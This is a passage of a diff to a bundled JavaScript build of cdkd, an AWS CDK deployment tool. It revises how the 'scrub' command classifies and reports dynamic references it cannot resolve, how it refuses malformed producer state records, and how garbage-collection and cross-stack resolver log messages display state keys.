* consumer of a string the resolver owns: a reword there would otherwise make
|
|
69054
|
-
* the predicate below silently stop matching and restore the very silence it
|
|
69055
|
-
* exists to remove (`.claude/rules/testing.md` -> "A fixture that greps
|
|
69056
|
-
* cdkd's OWN output must fail loudly when the format drifts").
|
|
69057
|
-
*/
|
|
69058
|
-
const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
|
|
69059
|
-
/**
|
|
69060
|
-
* The prefix a matching message must ALSO carry. Without it the bare tails
|
|
69061
|
-
* above are reachable from an unrelated throw: `resolveParameters` raises
|
|
69062
|
-
* `Parameter ${name} is required but no value was provided`, so a template
|
|
69063
|
-
* parameter literally NAMED `PARAMETER_NAME` would flip an ordinary
|
|
69064
|
-
* best-effort miss into a whole-stack refusal.
|
|
69065
|
-
*/
|
|
69066
|
-
const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
69067
|
-
/**
|
|
69068
68760
|
* A NAMELESS dynamic reference is NOT a best-effort miss, however unresolvable
|
|
69069
68761
|
* the rest of the resource is (issue go-to-k/cdkd#2692) — `{{resolve:ssm-secure}}`
|
|
69070
68762
|
* with no parameter name, or `{{resolve:secretsmanager}}` /
|
|
@@ -69072,12 +68764,18 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
|
69072
68764
|
*
|
|
69073
68765
|
* The resolver raises a bare `Error` for both, so they fall through the
|
|
69074
68766
|
* typed-refusal test above into the `debug` below and `cdkd scrub` reports the
|
|
69075
|
-
* run CLEAN.
|
|
69076
|
-
*
|
|
69077
|
-
*
|
|
69078
|
-
*
|
|
69079
|
-
*
|
|
69080
|
-
*
|
|
68767
|
+
* run CLEAN.
|
|
68768
|
+
*
|
|
68769
|
+
* WHY THAT STILL MATTERS AFTER go-to-k/cdkd#3181, which changed the reason. It
|
|
68770
|
+
* used to be about POSITION: the token loop had no per-token `try`, so a
|
|
68771
|
+
* nameless throw abandoned every remaining `{{resolve:...}}` token in the leaf
|
|
68772
|
+
* and a real reference behind it recorded no needle. That is no longer true —
|
|
68773
|
+
* the loop recovers per token for every opted-in caller. What survives is the
|
|
68774
|
+
* NAMELESS reference itself: it is a structurally broken template that no
|
|
68775
|
+
* substitution produces, the resolver re-raises it through
|
|
68776
|
+
* `isDeliberateResolutionRefusal` rather than recording it, and scrub must not
|
|
68777
|
+
* report a run clean over one. The predicate below is what turns that re-raise
|
|
68778
|
+
* into a refusal instead of a `debug` line.
|
|
69081
68779
|
*
|
|
69082
68780
|
* BOTH spellings are matched, and the second is the DOMINANT one. The first
|
|
69083
68781
|
* cut matched `PARAMETER_NAME is required` alone, leaving the more common way
|
|
@@ -69086,8 +68784,7 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
|
69086
68784
|
* precisely BECAUSE the other throw spells it differently.
|
|
69087
68785
|
*
|
|
69088
68786
|
* WHY THE SET STOPS AT "is required", having once been widened to the whole
|
|
69089
|
-
* `Dynamic reference:` family and reverted.
|
|
69090
|
-
* means four SIBLING failures — a deleted SSM parameter, a secret with no
|
|
68787
|
+
* `Dynamic reference:` family and reverted. Four SIBLING failures — a deleted SSM parameter, a secret with no
|
|
69091
68788
|
* `SecretString`, a missing `JSON_KEY`, a non-JSON secret — abandon the leaf
|
|
69092
68789
|
* exactly the same way, so on the surface they belong here. They do not,
|
|
69093
68790
|
* because scrub resolves with template DEFAULTS and takes no `--parameters`:
|
|
@@ -69116,7 +68813,7 @@ const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
|
69116
68813
|
* The old, wrong-in-substance refusal was backstopping this one.
|
|
69117
68814
|
*/
|
|
69118
68815
|
function isNamelessDynamicReferenceFailure(err) {
|
|
69119
|
-
return
|
|
68816
|
+
return isNamelessDynamicReferenceError(err);
|
|
69120
68817
|
}
|
|
69121
68818
|
/**
|
|
69122
68819
|
* The per-record line each counting site prints. Deliberately ONE SHORT
|
|
@@ -69222,55 +68919,49 @@ function abandonedScanVerdict(source, err) {
|
|
|
69222
68919
|
return "count";
|
|
69223
68920
|
}
|
|
69224
68921
|
/**
|
|
69225
|
-
*
|
|
69226
|
-
*
|
|
69227
|
-
*
|
|
69228
|
-
*
|
|
69229
|
-
*
|
|
69230
|
-
*
|
|
69231
|
-
*
|
|
69232
|
-
*
|
|
69233
|
-
*
|
|
69234
|
-
*
|
|
69235
|
-
*
|
|
69236
|
-
*
|
|
69237
|
-
*
|
|
69238
|
-
*
|
|
69239
|
-
|
|
69240
|
-
|
|
69241
|
-
|
|
69242
|
-
|
|
69243
|
-
|
|
69244
|
-
|
|
69245
|
-
|
|
69246
|
-
*
|
|
69247
|
-
*
|
|
69248
|
-
*
|
|
69249
|
-
*
|
|
69250
|
-
*
|
|
69251
|
-
*
|
|
69252
|
-
*
|
|
69253
|
-
*
|
|
69254
|
-
*
|
|
69255
|
-
|
|
69256
|
-
|
|
69257
|
-
|
|
69258
|
-
|
|
69259
|
-
|
|
69260
|
-
|
|
69261
|
-
|
|
69262
|
-
|
|
69263
|
-
|
|
69264
|
-
|
|
69265
|
-
|
|
69266
|
-
|
|
69267
|
-
|
|
69268
|
-
*/
|
|
69269
|
-
function carriesFetchableDynamicReference(source) {
|
|
69270
|
-
if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
|
|
69271
|
-
if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
|
|
69272
|
-
if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
|
|
69273
|
-
return false;
|
|
68922
|
+
* The same three-way question asked of ONE abandoned unit (issues
|
|
68923
|
+
* go-to-k/cdkd#3181 / go-to-k/cdkd#3218), rather than of the property enclosing
|
|
68924
|
+
* it.
|
|
68925
|
+
*
|
|
68926
|
+
* Identical in shape to {@link abandonedScanVerdict} and deliberately so — the
|
|
68927
|
+
* only difference is WHERE the two structural facts come from. There they are
|
|
68928
|
+
* computed from the whole property, because a thrown error is all that path
|
|
68929
|
+
* has. Here the resolver recorded each unit's own answer at the push, as two
|
|
68930
|
+
* booleans, so the verdict needs no value and can carry no plaintext.
|
|
68931
|
+
*
|
|
68932
|
+
* Asking per unit removes both of the bag-scoped proxy's errors at once:
|
|
68933
|
+
* a unit carrying no reference (go-to-k/cdkd#3218's `{"Ref": ...}` key) no
|
|
68934
|
+
* longer inherits a sibling's reference and count, and a genuinely unfetched
|
|
68935
|
+
* reference no longer hides behind a template-shape failure recorded before it.
|
|
68936
|
+
*/
|
|
68937
|
+
function abandonedUnitVerdict(entry) {
|
|
68938
|
+
if (!entry.carriedDynamicReference) return "silent";
|
|
68939
|
+
if (isTemplateShapeResolutionFailure(entry.error) || !entry.carriedFetchableReference) return "warn";
|
|
68940
|
+
return "count";
|
|
68941
|
+
}
|
|
68942
|
+
/**
|
|
68943
|
+
* The verdict for a whole BAG of abandoned units: the most severe of them.
|
|
68944
|
+
*
|
|
68945
|
+
* `count` gates the exit code, `warn` only speaks, `silent` does neither — so
|
|
68946
|
+
* folding to the most severe is what stops a gateable finding hiding behind an
|
|
68947
|
+
* ungateable one recorded before it. That is not a hypothetical ordering
|
|
68948
|
+
* concern: `isTemplateShapeResolutionFailure` fires EN MASSE on healthy stacks
|
|
68949
|
+
* (one `Default`-less parameter makes every `{Ref: <param>}` throw), so a
|
|
68950
|
+
* `warn` at index 0 is the common case, and the per-unit recovery exists
|
|
68951
|
+
* precisely to keep walking past it to the reference that matters.
|
|
68952
|
+
*/
|
|
68953
|
+
function foldAbandonedUnitVerdict(entries) {
|
|
68954
|
+
const RANK = {
|
|
68955
|
+
silent: 0,
|
|
68956
|
+
warn: 1,
|
|
68957
|
+
count: 2
|
|
68958
|
+
};
|
|
68959
|
+
let worst = "silent";
|
|
68960
|
+
for (const entry of entries) {
|
|
68961
|
+
const verdict = abandonedUnitVerdict(entry);
|
|
68962
|
+
if (RANK[verdict] > RANK[worst]) worst = verdict;
|
|
68963
|
+
}
|
|
68964
|
+
return worst;
|
|
69274
68965
|
}
|
|
69275
68966
|
/**
|
|
69276
68967
|
* `err` is cdkd's OWN refusal to resolve a template SHAPE — a `Ref`, an
|
|
@@ -69548,6 +69239,35 @@ function makeCrossStackPrePass(deps) {
|
|
|
69548
69239
|
* user-fixable — i.e. refuses the whole stack over something no user can fix.
|
|
69549
69240
|
*/
|
|
69550
69241
|
const isByDesignRefusal = (err) => err instanceof Error && errorCauseChain(err).some((link) => link instanceof CrossAccountSecretRefusalError);
|
|
69242
|
+
/**
|
|
69243
|
+
* Is this a refusal over ANOTHER STACK's damaged record (issue
|
|
69244
|
+
* go-to-k/cdkd#3207)?
|
|
69245
|
+
*
|
|
69246
|
+
* A SECOND predicate rather than a widening of {@link isByDesignRefusal},
|
|
69247
|
+
* because the two classify the same `err` into DIFFERENT sentences and
|
|
69248
|
+
* different exit-code lists, and only one of them can honestly say "no
|
|
69249
|
+
* re-run can change it".
|
|
69250
|
+
*
|
|
69251
|
+
* Why this arm has to exist at all. Before go-to-k/cdkd#3207 the deploy-side
|
|
69252
|
+
* resolver RESOLVED an `Fn::GetStackOutput` against a non-object producer
|
|
69253
|
+
* bag — `Object.hasOwn('abcdef', '0')` is `true` — so a damaged producer
|
|
69254
|
+
* reached {@link storedProducerValue}, whose own guard records the finding
|
|
69255
|
+
* this arm now records. Closing the resolver is correct (that value is
|
|
69256
|
+
* APPLIED to a live system by a deploy) but it moves the refusal UP: without
|
|
69257
|
+
* this branch the read lands on `unresolvableCrossStackReadError` below and
|
|
69258
|
+
* refuses the whole stack, so a consumer's own plaintext would stay in
|
|
69259
|
+
* `state.json` over a producer record its owner may not be able to repair —
|
|
69260
|
+
* exactly the trade `docs/design/3192-outputs-consumers.md` §6 decided
|
|
69261
|
+
* against, silently reversed by the fix one layer up.
|
|
69262
|
+
*
|
|
69263
|
+
* SAME two lists as the classifier's arm, deliberately: `unverifiable` gates
|
|
69264
|
+
* the clean verdict, and `damagedProducerRecords` carries the UNCONDITIONAL
|
|
69265
|
+
* exit 2 that shape had before either guard existed.
|
|
69266
|
+
*
|
|
69267
|
+
* CAUSE CHAIN, not a bare `instanceof`, for the reason
|
|
69268
|
+
* {@link isByDesignRefusal}'s note gives — `resolver.resolve` wraps.
|
|
69269
|
+
*/
|
|
69270
|
+
const isMalformedProducerRefusal = (err) => err instanceof Error && errorCauseChain(err).some((link) => link instanceof MalformedProducerRecordRefusalError);
|
|
69551
69271
|
return async function resolveCrossStackReads(bag, context, origin, opts) {
|
|
69552
69272
|
const canRefuse = opts?.canRefuse ?? true;
|
|
69553
69273
|
const secrets = context.recordedSecretValues ?? /* @__PURE__ */ new Map();
|
|
@@ -69641,7 +69361,7 @@ function makeCrossStackPrePass(deps) {
|
|
|
69641
69361
|
logger.debug(`Scrub of ${stackName}: producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}) has no readable 'outputs' map, and this position cannot refuse.`);
|
|
69642
69362
|
return;
|
|
69643
69363
|
}
|
|
69644
|
-
const seenKey =
|
|
69364
|
+
const seenKey = producerRecordKey(producer.stack, producer.region);
|
|
69645
69365
|
if (!warnedDamagedProducers.has(seenKey)) {
|
|
69646
69366
|
warnedDamagedProducers.add(seenKey);
|
|
69647
69367
|
const detail = `the stored value of producer '${maskSecretsInText(producer.stack, secrets)}' (${producer.region}), whose 'outputs' map cannot be read`;
|
|
@@ -69675,6 +69395,13 @@ function makeCrossStackPrePass(deps) {
|
|
|
69675
69395
|
logger.warn(`Scrub of ${stackName} cannot verify ${detail} — cdkd declines this read by design, so no re-run can change it. The rest of the stack is still scrubbed; this stack is NOT reported clean.`);
|
|
69676
69396
|
return;
|
|
69677
69397
|
}
|
|
69398
|
+
if (isMalformedProducerRefusal(err)) {
|
|
69399
|
+
const detail = `${where}: ${maskSecretsInText(err instanceof Error ? err.message : String(err), secrets)}`;
|
|
69400
|
+
findings.unverifiable.push(detail);
|
|
69401
|
+
findings.damagedProducerRecords.push(detail);
|
|
69402
|
+
logger.warn(`Scrub of ${stackName} cannot verify ${detail} — the PRODUCER's state record is malformed or truncated, so this run cannot tell whether that producer still holds the plaintext. The rest of the stack is still scrubbed; this stack is NOT reported clean. Repair the producer's record and scrub it first, then re-run.`);
|
|
69403
|
+
return;
|
|
69404
|
+
}
|
|
69678
69405
|
throw unresolvableCrossStackReadError(origin, stackName, key, path, err, secrets);
|
|
69679
69406
|
}
|
|
69680
69407
|
const producer = recordedProducer(key, probe);
|
|
@@ -69787,6 +69514,32 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69787
69514
|
let unverifiableLeaves = 0;
|
|
69788
69515
|
let ungateableAbandonedScans = 0;
|
|
69789
69516
|
/**
|
|
69517
|
+
* Report ONE bag of abandoned units: fold to the most severe verdict, count
|
|
69518
|
+
* it, warn once, then debug one line per entry.
|
|
69519
|
+
*
|
|
69520
|
+
* ONE helper shared by all THREE opted-in passes (resource properties,
|
|
69521
|
+
* orphan records, output values). They began as three hand-inlined copies of
|
|
69522
|
+
* the same eight lines, which is the shape that drifts: a round-3 review
|
|
69523
|
+
* measured that removing BOTH the orphan and output opt-ins reddened zero of
|
|
69524
|
+
* 4,180 tests, so nothing would have caught two of the three copies diverging
|
|
69525
|
+
* either. The passes differ only in the subject string and which needle map
|
|
69526
|
+
* their lines mask through, so both are parameters.
|
|
69527
|
+
*
|
|
69528
|
+
* Renders `entry.message`, never `entry.error`: the interface documents
|
|
69529
|
+
* `error` as classification-only, and `message` carries a twin-derived
|
|
69530
|
+
* redaction the needle mask alone cannot reproduce for a sub-floor plaintext.
|
|
69531
|
+
*/
|
|
69532
|
+
const reportAbandonedBag = (entries, subject, secrets, debugSubject) => {
|
|
69533
|
+
if (entries.length === 0) return;
|
|
69534
|
+
const worst = foldAbandonedUnitVerdict(entries);
|
|
69535
|
+
if (worst !== "silent") {
|
|
69536
|
+
if (worst === "count") unverifiableLeaves++;
|
|
69537
|
+
else ungateableAbandonedScans++;
|
|
69538
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(subject, worst), secrets));
|
|
69539
|
+
}
|
|
69540
|
+
for (const entry of entries) logger.debug(maskSecretsInText(`Resolution of ${debugSubject} during scrub was partial: ${entry.message} (abandoned one ${entry.unit})`, secrets));
|
|
69541
|
+
};
|
|
69542
|
+
/**
|
|
69790
69543
|
* ONE note per stack per arm. The per-record lines are deliberately short
|
|
69791
69544
|
* (see `abandonedScanWarning`), so this is where the explanation lives, and
|
|
69792
69545
|
* emitting it after the loops rather than at the first occurrence is what
|
|
@@ -69896,18 +69649,24 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69896
69649
|
const bagKeys = resolveInput !== null && typeof resolveInput === "object" && !Array.isArray(resolveInput) ? Object.keys(resolveInput) : void 0;
|
|
69897
69650
|
const intrinsicShapedBag = bagKeys?.some((k) => RESOLVER_DISPATCH_KEYS.has(k)) ?? false;
|
|
69898
69651
|
const resolveUnits = bagKeys && !intrinsicShapedBag ? Object.entries(resolveInput) : [["", resolveInput]];
|
|
69899
|
-
for (const [propertyName, propertyValue] of resolveUnits)
|
|
69900
|
-
|
|
69901
|
-
|
|
69902
|
-
|
|
69903
|
-
|
|
69904
|
-
|
|
69905
|
-
|
|
69906
|
-
|
|
69907
|
-
|
|
69908
|
-
|
|
69652
|
+
for (const [propertyName, propertyValue] of resolveUnits) {
|
|
69653
|
+
const abandoned = [];
|
|
69654
|
+
try {
|
|
69655
|
+
await resolver.resolve(propertyValue, {
|
|
69656
|
+
...resourceContext,
|
|
69657
|
+
abandonedResolutions: abandoned
|
|
69658
|
+
});
|
|
69659
|
+
reportAbandonedBag(abandoned, propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`, recordedSecretValues, `${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""}`);
|
|
69660
|
+
} catch (err) {
|
|
69661
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69662
|
+
const leafVerdict = abandonedScanVerdict(propertyValue, err);
|
|
69663
|
+
if (leafVerdict !== "silent") {
|
|
69664
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69665
|
+
else ungateableAbandonedScans++;
|
|
69666
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(propertyName ? `resource '${displaySafe(logicalId)}' property '${displaySafe(propertyName)}'` : `resource '${displaySafe(logicalId)}'`, leafVerdict), recordedSecretValues));
|
|
69667
|
+
}
|
|
69668
|
+
logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69909
69669
|
}
|
|
69910
|
-
logger.debug(maskSecretsInText(`Resolution of ${displaySafe(logicalId)}${propertyName ? `.${displaySafe(propertyName)}` : ""} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69911
69670
|
}
|
|
69912
69671
|
perResourceTemplateProps.set(logicalId, templateResource.Properties);
|
|
69913
69672
|
}
|
|
@@ -69926,17 +69685,24 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69926
69685
|
origin: `orphan record '${record.logicalId}'`
|
|
69927
69686
|
});
|
|
69928
69687
|
const orphanContext = resolverContext(recordedSecretValues);
|
|
69929
|
-
for (const [bagName, bagValue] of Object.entries(resolveInput))
|
|
69930
|
-
|
|
69931
|
-
|
|
69932
|
-
|
|
69933
|
-
|
|
69934
|
-
|
|
69935
|
-
|
|
69936
|
-
|
|
69937
|
-
|
|
69688
|
+
for (const [bagName, bagValue] of Object.entries(resolveInput)) {
|
|
69689
|
+
const abandoned = [];
|
|
69690
|
+
try {
|
|
69691
|
+
await resolver.resolve(bagValue, {
|
|
69692
|
+
...orphanContext,
|
|
69693
|
+
abandonedResolutions: abandoned
|
|
69694
|
+
});
|
|
69695
|
+
reportAbandonedBag(abandoned, `orphan record '${displaySafe(record.logicalId)}' ${bagName}`, recordedSecretValues, `orphan record ${displaySafe(record.logicalId)} ${bagName}`);
|
|
69696
|
+
} catch (err) {
|
|
69697
|
+
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
69698
|
+
const leafVerdict = abandonedScanVerdict(bagValue, err);
|
|
69699
|
+
if (leafVerdict !== "silent") {
|
|
69700
|
+
if (leafVerdict === "count") unverifiableLeaves++;
|
|
69701
|
+
else ungateableAbandonedScans++;
|
|
69702
|
+
logger.warn(maskSecretsInText(abandonedScanWarning(`orphan record '${displaySafe(record.logicalId)}' ${bagName}`, leafVerdict), recordedSecretValues));
|
|
69703
|
+
}
|
|
69704
|
+
logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69938
69705
|
}
|
|
69939
|
-
logger.debug(maskSecretsInText(`Resolution of orphan record ${displaySafe(record.logicalId)} ${bagName} during scrub was partial: ${err instanceof Error ? err.message : String(err)}`, recordedSecretValues));
|
|
69940
69706
|
}
|
|
69941
69707
|
}
|
|
69942
69708
|
for (const [name, output] of Object.entries(templateOutputs)) {
|
|
@@ -69999,8 +69765,13 @@ async function scrubStack(stack, region, stateBackend, lockManager, opts) {
|
|
|
69999
69765
|
});
|
|
70000
69766
|
const valueContext = resolverContext(outputSecrets);
|
|
70001
69767
|
await resolveCrossStackReads(valueSource, valueContext, `output '${name}'`, { canRefuse: !isOutputSuppressed(name, output, conditions, state.outputs ?? {}) });
|
|
69768
|
+
const abandonedOutput = [];
|
|
70002
69769
|
try {
|
|
70003
|
-
await resolver.resolve(valueSource,
|
|
69770
|
+
await resolver.resolve(valueSource, {
|
|
69771
|
+
...valueContext,
|
|
69772
|
+
abandonedResolutions: abandonedOutput
|
|
69773
|
+
});
|
|
69774
|
+
reportAbandonedBag(abandonedOutput, `output '${displaySafe(name)}'`, outputSecrets, `output ${displaySafe(name)}`);
|
|
70004
69775
|
} catch (err) {
|
|
70005
69776
|
if (isRegionAmbiguousRefusal(err) || isNamelessDynamicReferenceFailure(err)) throw err;
|
|
70006
69777
|
const leafVerdict = abandonedScanVerdict(valueSource, err);
|
|
@@ -82219,17 +81990,17 @@ async function scanReferencedAssets(stateBackend, marker, logger) {
|
|
|
82219
81990
|
for (const key of stateKeys) {
|
|
82220
81991
|
const body = await stateBackend.getRawObject(key);
|
|
82221
81992
|
if (body === null) {
|
|
82222
|
-
logger.debug(`State file ${key} disappeared during the scan — skipping`);
|
|
81993
|
+
logger.debug(`State file ${displayIdent(key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} disappeared during the scan — skipping`);
|
|
82223
81994
|
continue;
|
|
82224
81995
|
}
|
|
82225
81996
|
let parsed;
|
|
82226
81997
|
try {
|
|
82227
81998
|
parsed = JSON.parse(body);
|
|
82228
81999
|
} catch (error) {
|
|
82229
|
-
const
|
|
82230
|
-
const
|
|
82231
|
-
const
|
|
82232
|
-
throw new CdkdError(`State file
|
|
82000
|
+
const { stack, region } = parseStateKey(key, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX);
|
|
82001
|
+
const inspectHint = isPasteableIdent(stack) && (region === void 0 || isPasteableIdent(region)) ? region === void 0 ? `cdkd state show ${stack}` : `cdkd state show ${stack} --stack-region ${region}` : void 0;
|
|
82002
|
+
const inspect = inspectHint === void 0 ? "its stack name is not safe to paste into a command, so inspect the object at that key directly" : `'${inspectHint}' to inspect`;
|
|
82003
|
+
throw new CdkdError(`State file ${displayIdent(key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} is not valid JSON — aborting: gc must know every referenced asset before deleting anything, and this file's references are unreadable. Repair or remove the corrupt state file (${inspect}), then re-run.`, "GC_STATE_UNREADABLE", error);
|
|
82233
82004
|
}
|
|
82234
82005
|
collectAssetReferences(parsed, marker, refs);
|
|
82235
82006
|
}
|
|
@@ -82373,11 +82144,11 @@ async function listResponsePlaceholderCandidates(stateBackend, cutoffMs, logger)
|
|
|
82373
82144
|
for (const obj of objects) {
|
|
82374
82145
|
const leaf = obj.key.slice(`${CUSTOM_RESOURCE_RESPONSE_PREFIX}/`.length);
|
|
82375
82146
|
if (!RESPONSE_PLACEHOLDER_KEY.test(leaf)) {
|
|
82376
|
-
logger.debug(`gc: keeping ${obj.key} — not a cdkd response placeholder`);
|
|
82147
|
+
logger.debug(`gc: keeping ${displayIdent(obj.key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} — not a cdkd response placeholder`);
|
|
82377
82148
|
continue;
|
|
82378
82149
|
}
|
|
82379
82150
|
if (obj.lastModified.getTime() >= cutoffMs) {
|
|
82380
|
-
logger.debug(`gc: keeping ${obj.key} — newer than the --older-than cutoff`);
|
|
82151
|
+
logger.debug(`gc: keeping ${displayIdent(obj.key, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })} — newer than the --older-than cutoff`);
|
|
82381
82152
|
continue;
|
|
82382
82153
|
}
|
|
82383
82154
|
candidates.push(obj);
|
|
@@ -82578,7 +82349,7 @@ async function gcCommand(options) {
|
|
|
82578
82349
|
}
|
|
82579
82350
|
const lockKeys = await listAllLockKeys(stateBackend);
|
|
82580
82351
|
if (lockKeys.length > 0) {
|
|
82581
|
-
const listing = lockKeys.map((k) => ` - ${describeStateKey(k, LOCK_FILE_SUFFIX, DEFAULT_STATE_PREFIX)} [${k}]`).join("\n");
|
|
82352
|
+
const listing = lockKeys.map((k) => ` - ${describeStateKey(k, LOCK_FILE_SUFFIX, DEFAULT_STATE_PREFIX)} [${displayIdent(k, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })}]`).join("\n");
|
|
82582
82353
|
throw new CdkdError(`Refusing to gc while ${lockKeys.length} stack(s) hold an active lock (a deploy in flight may have published assets whose state write has not landed yet):\n${listing}\nWait for the operation(s) to finish — or clear a stale lock with 'cdkd force-unlock <stack>' — then re-run 'cdkd gc'.`, "GC_LOCKED");
|
|
82583
82354
|
}
|
|
82584
82355
|
const cutoffMs = Date.now() - options.olderThan;
|
|
@@ -85433,6 +85204,29 @@ async function loadBootstrapContainerRepo(synthRegion, opts) {
|
|
|
85433
85204
|
async function buildCrossStackResolver(consumerRegion, opts) {
|
|
85434
85205
|
const logger = getLogger();
|
|
85435
85206
|
const prefix = opts.logPrefix ?? "--from-state";
|
|
85207
|
+
/**
|
|
85208
|
+
* Producer records already named by the malformed-outputs warning below
|
|
85209
|
+
* (issue go-to-k/cdkd#3207), keyed `stack@region`.
|
|
85210
|
+
*
|
|
85211
|
+
* ONCE PER PRODUCER RECORD, not per reference, which is the shape
|
|
85212
|
+
* `scrub.ts`'s equivalent arm already deduped ("ONCE PER PRODUCER RECORD,
|
|
85213
|
+
* not per reference") and this reader did not adopt: one `cdkd local` env
|
|
85214
|
+
* block routinely carries several `Fn::GetStackOutput` entries against the
|
|
85215
|
+
* SAME producer, and the warning is a paragraph. Repeating it per entry
|
|
85216
|
+
* buries the other diagnostics the run emits, and it reads as several
|
|
85217
|
+
* damaged records rather than one.
|
|
85218
|
+
*
|
|
85219
|
+
* Keyed by RECORD and not by stack, because `resolveGetStackOutput` tries
|
|
85220
|
+
* the exact region spelling and then folds across others: those are
|
|
85221
|
+
* DISTINCT state records that can be damaged independently, so each still
|
|
85222
|
+
* deserves its own line.
|
|
85223
|
+
*
|
|
85224
|
+
* The CALLER may supply one, which is what lets a boot that builds several
|
|
85225
|
+
* resolvers dedup across all of them (issue go-to-k/cdkd#3293). Falling back
|
|
85226
|
+
* to a fresh Set keeps every existing caller unchanged: the closure is then
|
|
85227
|
+
* the only scope that outlives a single reference, which is what it was.
|
|
85228
|
+
*/
|
|
85229
|
+
const warnedMalformedProducers = opts.warnedMalformedProducers ?? /* @__PURE__ */ new Set();
|
|
85436
85230
|
let stateBucket;
|
|
85437
85231
|
try {
|
|
85438
85232
|
stateBucket = await resolveStateBucketWithDefault(opts.stateBucket, canonicalizeRegion(consumerRegion));
|
|
@@ -85502,17 +85296,27 @@ async function buildCrossStackResolver(consumerRegion, opts) {
|
|
|
85502
85296
|
}
|
|
85503
85297
|
},
|
|
85504
85298
|
async resolveGetStackOutput(producerStack, producerRegion, outputName) {
|
|
85505
|
-
const readOutput = (got) => {
|
|
85506
|
-
if (!got
|
|
85507
|
-
if (!(
|
|
85508
|
-
|
|
85299
|
+
const readOutput = (got, recordRegion) => {
|
|
85300
|
+
if (!got) return void 0;
|
|
85301
|
+
if (!hasReadableOutputs(got.state)) {
|
|
85302
|
+
const recordKey = producerRecordKey(producerStack, recordRegion);
|
|
85303
|
+
if (!warnedMalformedProducers.has(recordKey)) {
|
|
85304
|
+
warnedMalformedProducers.add(recordKey);
|
|
85305
|
+
logger.warn(`${prefix}: ${malformedLocalOutputsWarning(producerStack, recordRegion)}`);
|
|
85306
|
+
}
|
|
85307
|
+
return;
|
|
85308
|
+
}
|
|
85309
|
+
const outputs = got.state.outputs;
|
|
85310
|
+
if (!outputs) return void 0;
|
|
85311
|
+
if (!Object.hasOwn(outputs, outputName)) return void 0;
|
|
85312
|
+
const value = outputs[outputName];
|
|
85509
85313
|
if (typeof value === "string") return value;
|
|
85510
85314
|
if (typeof value === "number" || typeof value === "boolean") return String(value);
|
|
85511
85315
|
return JSON.stringify(value);
|
|
85512
85316
|
};
|
|
85513
85317
|
try {
|
|
85514
85318
|
const got = await stateBackend.getState(producerStack, producerRegion);
|
|
85515
|
-
if (got) return readOutput(got);
|
|
85319
|
+
if (got) return readOutput(got, producerRegion);
|
|
85516
85320
|
const canonicalProducerRegion = canonicalizeRegion(producerRegion);
|
|
85517
85321
|
const refs = await stateBackend.listStacks();
|
|
85518
85322
|
for (const ref of refs) {
|
|
@@ -85520,7 +85324,7 @@ async function buildCrossStackResolver(consumerRegion, opts) {
|
|
|
85520
85324
|
const region = ref.region ?? producerRegion;
|
|
85521
85325
|
if (region === producerRegion) continue;
|
|
85522
85326
|
if (canonicalizeRegion(region) !== canonicalProducerRegion) continue;
|
|
85523
|
-
const recovered = readOutput(await stateBackend.getState(producerStack, region));
|
|
85327
|
+
const recovered = readOutput(await stateBackend.getState(producerStack, region), region);
|
|
85524
85328
|
if (recovered !== void 0) {
|
|
85525
85329
|
logger.debug(`${prefix}: Fn::GetStackOutput '${producerStack}.${outputName}' resolved from the case-variant state record '${region}' (no record spells '${producerRegion}' exactly).`);
|
|
85526
85330
|
return recovered;
|
|
@@ -85559,6 +85363,16 @@ var S3LocalStateProvider = class {
|
|
|
85559
85363
|
label = "--from-state";
|
|
85560
85364
|
opts;
|
|
85561
85365
|
disposers = [];
|
|
85366
|
+
/**
|
|
85367
|
+
* Producer records the malformed-outputs warning has already named, shared by
|
|
85368
|
+
* every resolver this provider builds (issue
|
|
85369
|
+
* [#3293](https://github.com/go-to-k/cdkd/issues/3293)).
|
|
85370
|
+
*
|
|
85371
|
+
* Lives here rather than in each resolver's closure because this object is
|
|
85372
|
+
* the one thing that spans a whole `cdkd local` run — see the note at the
|
|
85373
|
+
* `buildCrossStackResolver` call for why that is the honest scope.
|
|
85374
|
+
*/
|
|
85375
|
+
warnedMalformedProducers = /* @__PURE__ */ new Set();
|
|
85562
85376
|
constructor(opts) {
|
|
85563
85377
|
this.opts = opts;
|
|
85564
85378
|
}
|
|
@@ -85573,6 +85387,7 @@ var S3LocalStateProvider = class {
|
|
|
85573
85387
|
};
|
|
85574
85388
|
const loaded = await loadStateForStack(stackName, synthRegion, loadOpts);
|
|
85575
85389
|
if (!loaded) return void 0;
|
|
85390
|
+
